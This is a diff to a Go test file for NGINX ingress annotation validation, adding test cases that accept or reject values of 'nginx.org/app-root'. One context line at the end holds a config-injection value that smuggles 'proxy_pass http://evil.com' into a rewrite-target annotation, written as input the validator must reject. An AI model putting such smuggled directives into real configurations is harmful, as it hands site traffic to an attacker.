@@ -3437,6 +3437,86 @@ func TestValidateNginxIngressAnnotations(t *testing.T) {
34373437 },
34383438 msg : "invalid nginx.org/rewrite-target annotation, does not start with slash" ,
34393439 },
3440+ {
3441+ annotations : map [string ]string {
3442+ "nginx.org/app-root" : "/coffee" ,
3443+ },
3444+ specServices : map [string ]bool {},
3445+ isPlus : false ,
3446+ appProtectEnabled : false ,
3447+ appProtectDosEnabled : false ,
3448+ internalRoutesEnabled : false ,
3449+ expectedErrors : nil ,
3450+ msg : "valid nginx.org/app-root annotation" ,
3451+ },
3452+ {
3453+ annotations : map [string ]string {
3454+ "nginx.org/app-root" : "/coffee/mocha" ,
3455+ },
3456+ specServices : map [string ]bool {},
3457+ isPlus : false ,
3458+ appProtectEnabled : false ,
3459+ appProtectDosEnabled : false ,
3460+ internalRoutesEnabled : false ,
3461+ expectedErrors : nil ,
3462+ msg : "valid nginx.org/app-root annotation with nested path" ,
3463+ },
3464+ {
3465+ annotations : map [string ]string {
3466+ "nginx.org/app-root" : "coffee" ,
3467+ },
3468+ specServices : map [string ]bool {},
3469+ isPlus : false ,
3470+ appProtectEnabled : false ,
3471+ appProtectDosEnabled : false ,
3472+ internalRoutesEnabled : false ,
3473+ expectedErrors : []string {
3474+ `annotations.nginx.org/app-root: Invalid value: "coffee": must start with '/'` ,
3475+ },
3476+ msg : "invalid nginx.org/app-root annotation, does not start with slash" ,
3477+ },
3478+ {
3479+ annotations : map [string ]string {
3480+ "nginx.org/app-root" : "/" ,
3481+ },
3482+ specServices : map [string ]bool {},
3483+ isPlus : false ,
3484+ appProtectEnabled : false ,
3485+ appProtectDosEnabled : false ,
3486+ internalRoutesEnabled : false ,
3487+ expectedErrors : []string {
3488+ `annotations.nginx.org/app-root: Invalid value: "/": cannot be '/'` ,
3489+ },
3490+ msg : "invalid nginx.org/app-root annotation, cannot be root path" ,
3491+ },
3492+ {
3493+ annotations : map [string ]string {
3494+ "nginx.org/app-root" : "/coffee/" ,
3495+ },
3496+ specServices : map [string ]bool {},
3497+ isPlus : false ,
3498+ appProtectEnabled : false ,
3499+ appProtectDosEnabled : false ,
3500+ internalRoutesEnabled : false ,
3501+ expectedErrors : []string {
3502+ `annotations.nginx.org/app-root: Invalid value: "/coffee/": path should not end with '/'` ,
3503+ },
3504+ msg : "invalid nginx.org/app-root annotation, cannot end with slash" ,
3505+ },
3506+ {
3507+ annotations : map [string ]string {
3508+ "nginx.org/app-root" : "/tea$1" ,
3509+ },
3510+ specServices : map [string ]bool {},
3511+ isPlus : false ,
3512+ appProtectEnabled : false ,
3513+ appProtectDosEnabled : false ,
3514+ internalRoutesEnabled : false ,
3515+ expectedErrors : []string {
3516+ `annotations.nginx.org/app-root: Invalid value: "/tea$1": path must start with '/' and must not include any special character, '{', '}', ';' or '$'` ,
3517+ },
3518+ msg : "invalid nginx.org/app-root annotation, invalid characters" ,
3519+ },
34403520 {
34413521 annotations : map [string ]string {
34423522 "nginx.org/rewrite-target" : "/api/v1`; proxy_pass http://evil.com; #" ,
0 commit comments